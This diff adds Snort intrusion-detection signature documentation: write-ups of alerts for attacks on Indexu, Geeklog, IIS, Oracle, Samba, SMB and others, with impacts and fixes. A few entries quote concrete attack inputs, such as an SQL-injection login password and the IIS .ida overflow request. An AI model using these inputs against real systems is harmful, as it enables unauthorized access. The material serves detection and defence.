--- snort-2.8.5.2.orig/doc/signatures/100000605.txt
+++ snort-2.8.5.2/doc/signatures/100000605.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000605
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_unpaid.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "inv_unpaid.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2067.txt
+++ snort-2.8.5.2/doc/signatures/2067.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2067
+
+--
+Summary:
+file on a Lotus Domino Server.
+
+--
+Impact:
+Information disclosure
+
+--
+Detailed Information:
+Certain versions of Lotus Domino web servers do not correctly handle 
+requests for script files not specific to Lotus Domino.
+
+By using a dot in the filename an attacker may view the source of the 
+script and be presented with sensitive information embedded in the 
+script.
+
+--
+Affected Systems:
+Lotus Domino Server 5.0 and 6.0
+
+--
+Attack Scenarios:
+The attacker merely needs to make an HTTP request for the script and add
+a dot to the filename. This can be done using a browser.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+The HotSaNIC (hotsanic.sourceforge.net) System and Network Info Centre
+can graph the occurence of worm attacks on a server against time. The
+HotSaNIC system displays 'WEB-MISC Lotus Notes .exe script source
+download attempt' type attacks in an image file called
+thumb-root.exe.gif. Each time this image is accessed it generates an
+event.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor fixes
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+False positive information contributed by Chris McMahon <chris@mcmahon.co.uk>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/6841
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000730.txt
+++ snort-2.8.5.2/doc/signatures/100000730.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000730
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "BlackList.Examine.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "BlackList.Examine.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2117.txt
+++ snort-2.8.5.2/doc/signatures/2117.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2117
+--
+Summary:
+This event is generated when an attempt is made to access the file myaccount/login.asp in the BTTLXE Forum application from Battleaxe Software.
+
+--
+Impact:
+Possible theft of data and control of the targeted application leading to a compromise of all resources on the machine not limited to user accounts and business data.
+
+--
+Detailed Information:
+The BTTLXE Forum is a web application used for web-based discussion forums.
+
+A vulnerability exists such that an attacker may gain control of the application via an SQL injection technique. One such scenario allows an attacker to access the system by supplying a specific password without a username in the login page.
+
+Affected Systems:
+	All versions of BTTLXE Forum software.
+
+--
+Attack Scenarios:
+The attacker may login to the Forum with the password 'or''='
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Refer to the vendor notification and fix information at http://www.battleaxesoftware.com/forums/forum.asp?forumid=36&select=1812
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0215
+
+Bugtraq:
+http://www.securityfocus.com/bid/7416
+
+Vendor:
+http://www.battleaxesoftware.com/forums/forum.asp?forumid=36&select=1812
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2994.txt
+++ snort-2.8.5.2/doc/signatures/2994.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2994
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/893.txt
+++ snort-2.8.5.2/doc/signatures/893.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+893
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the CGI web application webdist.cgi running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited
+by the attacker.
+
+In particular this event is generated when an attempt is made to access
+"MachineInfo" using the CGI application webdist.cgi, distributed with
+IRIX operating systems using the package IRIX Mindshare OutBox.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	IRIX 5.x
+	IRIX 6.x
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-1997-12.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2805.txt
+++ snort-2.8.5.2/doc/signatures/2805.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2805
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure set_columns
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1653.txt
+++ snort-2.8.5.2/doc/signatures/1653.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1653
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If the webserver has pages or directories by the name of campus this rule will
+fire often.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+False positive information contributed by Colin Harford <colin.harford@ualberta.ca>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000484.txt
+++ snort-2.8.5.2/doc/signatures/100000484.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000484
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Confixx" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "lpath" parameter in the "ftp_index.php" script 
+used by the "Confixx" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Confixx
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3029.txt
+++ snort-2.8.5.2/doc/signatures/3029.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3029
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1243.txt
+++ snort-2.8.5.2/doc/signatures/1243.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1243
+
+--
+Summary:
+This event is generated when an attempt is made to access the .ida Indexing Service ISAPI filter. 
+
+--
+Impact:
+Remote access.  This attack may allow execution of arbitrary commands in System context providing complete control of the server. 
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) installs several Internet Service Application Programming Interface (ISAPI) extensions.  A buffer overflow vulnerability exists because of improper buffer checking in the .ida ISAPI filter.  This may allow execution of arbitrary commands with System level access on the vulnerable server.  The Code Rode worm used this vulnerability to propagate.
+
+--
+Affected Systems:
+Windows NT 4.0 IIS 4.0
+Windows 2000 IIS 5.0
+Windows XP beta IIS 6.0 beta
+
+--
+Attack Scenarios:
+An attacker can craft a special HTTP request that can cause a buffer overflow.  
+
+--
+Ease of Attack:
+Simple. Send the following request to a vulnerable server:
+GET /a.ida?NNNN... HTTP/1.0 where 240 N's or other characters are supplied. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+
+Consider removing the .ida ISAPI filter if it is not necessary.
+ 
+Download and install the appropriate patch mentioned in the Microsoft bulletin.
+
+--
+Contributors:
+Original rule written by  Dr SuSE and C. Mayor. 
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids
+http://www.whitehats.com/info/IDS552
+
+CERT
+http://www.cert.org/incident_notes/IN-2001-08.html
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms01-033.asp
+
+eEye Digital Security
+http://www.eeye.com/html/Research/Advisories/AD20010618.html
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2453.txt
+++ snort-2.8.5.2/doc/signatures/2453.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+2453
+
+--
+Summary:
+This event is generated when a host in your network that has Yahoo Instant Messenger running is invited to participate in a Yahoo conference.
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be appropriate in certain network environments.
+
+--
+Detailed Information:
+A Yahoo IM conference allows multiple users to participate in the exchange of text and voice messages, as well as share files and webcams.  It is possible that a file that is exchanged may contain malicious code such as as virus, worm, Trojan, or backdoor.  Also, since all exchanges are done via Yahoo IM servers and in clear text, there should be no expectation of privacy.
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+A Yahoo IM user may unwittingly accept a malicious file.
+
+--
+Ease of Attack:
+Easy to transfer a malicious file.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References:
+Yahoo Protocol
+http://www.cse.iitb.ac.in/~varunk/YahooProtocol.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2991.txt
+++ snort-2.8.5.2/doc/signatures/2991.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2991
+
+--
+Summary:
+This event is generated when an attempt is made to bind to the winreg
+service.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to bind to the RPC
+service for winreg.
+
+--
+Affected Systems:
+	Windows systems
+
+--
+Attack Scenarios:
+An attacker may attempt to bind to the service to manipulate host
+settings.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000178.txt
+++ snort-2.8.5.2/doc/signatures/100000178.txt
@@ -0,0 +1,60 @@
+Rule: 
+
+--
+Sid: 
+100000178
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Hasbani Web server.
+
+-- 
+Impact: 
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the Hasbani web server that may allow an attacker to 
+initiate a DoS condition on the server. Poor programming in the web server may 
+result in the server entering an endless loop when processing malformed GET 
+requests. This can lead to an exhaustion of system resources and a DoS 
+condition.
+
+--
+Affected Systems:
+Hasbani web server 2.0
+
+--
+Attack Scenarios: 
+An attacker can supply a malformed GET request to the web server to cause the 
+DoS. Alternately, exploit code exists for this vulnerability.
+
+-- 
+Ease of Attack: 
+Simple. Exploits exists.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action: 
+Use Apache.
+
+--
+Contributors:
+Original Rule writer rmkml <rmkml@free.fr>
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2523.txt
+++ snort-2.8.5.2/doc/signatures/2523.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2523
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Transmission Control Protocol (TCP) used in Border
+Gateway Protocol (BGP).
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+The Border Gateway Protocol uses TCP to maintain sessions when handling
+DNS queries. A vulnerability in the core implementation of TCP may make
+it possible for an attacker to reset a number of connections and cause a
+Denial of Service (DoS) to occur.
+
+The attack is possible because the listening service will accept a TCP
+sequence number within a range of what is expected in an established
+session. Since BGP relies on an established TCP session state, guessing
+a suitable sequence number to reset connections is feasible.
+
+--
+Affected Systems:
+	Various implementations of TCP by multiple vendors
+
+--
+Attack Scenarios:
+An attcker needs to send a specially crafted packet to reset a
+connection.
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/543.txt
+++ snort-2.8.5.2/doc/signatures/543.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+543
+
+--
+Summary:
+This event is generated when an attempt is made to store a file named
+"1mb" on an ftp server.
+
+--
+Impact:
+Possible abuse ftp behavior by hordes of warez sites, and the
+existance of (potentially) illegal files/software on an ftp server.
+
+--
+Detailed Information:
+Warez sites have been known to name "warez" files by their size.  Large
+files are split into smaller, more manageable chunks, and allow warez
+sites to store large files on ftp sites in a semi-organized manner.
+
+--
+Affected Systems:
+ All FTP servers
+
+--
+Attack Scenarios:
+As part of an attempt to store elite warez on an ftp server, an
+attacker named the file "1mb" to indicate it's size.  This file is
+likely part of an archive that represents a larger, most likely
+illegal copy of media.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required
+
+--
+False Positives:
+If a legitimate user has a legitimate file named "1mb", this rule may
+generate an event.
+
+--
+False Negatives:
+This will detect only files named 1mb.  If a warez site decides to
+start naming their files in a different way this rule will not generate
+an event.
+
+--
+Corrective Action:
+Inspect the ftp server for a file named 1mb. If it exists, determine
+if the file is legitimate, or if it was deposited by someone attempting
+to use the server to distribute non-legitimate files.
+
+Furthermore, evaluate the need for ftp write access.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/556.txt
+++ snort-2.8.5.2/doc/signatures/556.txt
@@ -0,0 +1,93 @@
+Rule:  
+
+--
+
+Sid:
+
+556
+
+--
+
+Summary:
+
+A network-internal client has connected to an external GNUTella server
+and issued a connect attempt to begin communications.
+
+--
+
+Impact:
+
+Possible policy violation.
+
+--
+
+Detailed Information:
+
+GNUTella is a P2P (Peer-to-Peer) protocol for exchanging arbitrary
+files.  Depending on your site's policies, using it may be a policy
+violation.
+
+If not properly configured, GNUTella clients may accidentally share out
+confidential files.  GNUTella worms (which use deceptive names to
+encourage download) and viruses may also be accidentally downloaded by a
+client.
+
+This rule being triggered means that a GNUTella client has been detected
+on your network.
+
+--
+
+Affected Systems:
+
+Any system with a GNUTella client installed (available for most
+platforms)
+
+--
+
+Attack Scenarios:
+It is possible for an inside attack to take place by using peer-to-peer
+clients to transfer corporate data from an internal resource to an
+external third party.
+
+--
+
+Ease of Attack:
+Simple. This is peer-to-peer activity.
+
+--
+
+False Positives:
+
+This rule detects the term "GNUTELLA CONNECT" on all ports.  As a
+result, any email, web page, or other network content that discusses the
+protocol and its messages will trigger this alert.
+
+--
+
+False Negatives:
+
+None known.
+
+--
+
+Corrective Action:
+
+Depends on acceptable use policies.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Gene R Gomez (gene!AT!gomezbrothers!DOT!com)
+
+-- 
+
+Additional References:
+
+GNUTella
+http://www.gnutella.com
+
+Gnutella Protocol
+http://rfc-gnutella.sourceforge.net/developer/testing/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000809.txt
+++ snort-2.8.5.2/doc/signatures/100000809.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000809
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "RW Download" application running on a webserver. Access to the file "stats.php" using a remote file being passed as the "root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "root_path" parameter in the "stats.php" script used by the "RW Download" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using RW Download
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2814.txt
+++ snort-2.8.5.2/doc/signatures/2814.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2814
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_object_to_flavor
+. This procedure is included in
+sys.dbms_repcat_fla.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1244.txt
+++ snort-2.8.5.2/doc/signatures/1244.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1244
+
+--
+Summary:
+This event is generated when an attempt is made to access the .idq Indexing Service ISAPI filter. 
+
+--
+Impact:
+Intelligence gathering activity. If an .idq file is erroneously shared from a network share, an error message is returned from a request that contains the share path will be disclosed.
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) installs several Internet Service Application Programming Interface (ISAPI) extensions.  The .idq ISAPI filter provides support for Internet Data Queries.  Files with the .idq suffix should not be located on network shares.  If an attempt is made to access them from a network share, an error message is returned disclosing the share path.  
+
+--
+Affected Systems:
+Hosts running IIS 4.0
+Hosts running IIS 5.0
+
+--
+Attack Scenarios:
+An attacker can attempt to access a file with the .idq suffix in an attempt to receive an error message with disclosure about the share path.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Do not place files with the .idq suffix on a network share.
+ 
+
+--
+Contributors:
+Original rule written by Dr SuSE and C. Mayor 
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids
+http://www.whitehats.com/info/IDS552
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0071
+
+
+--
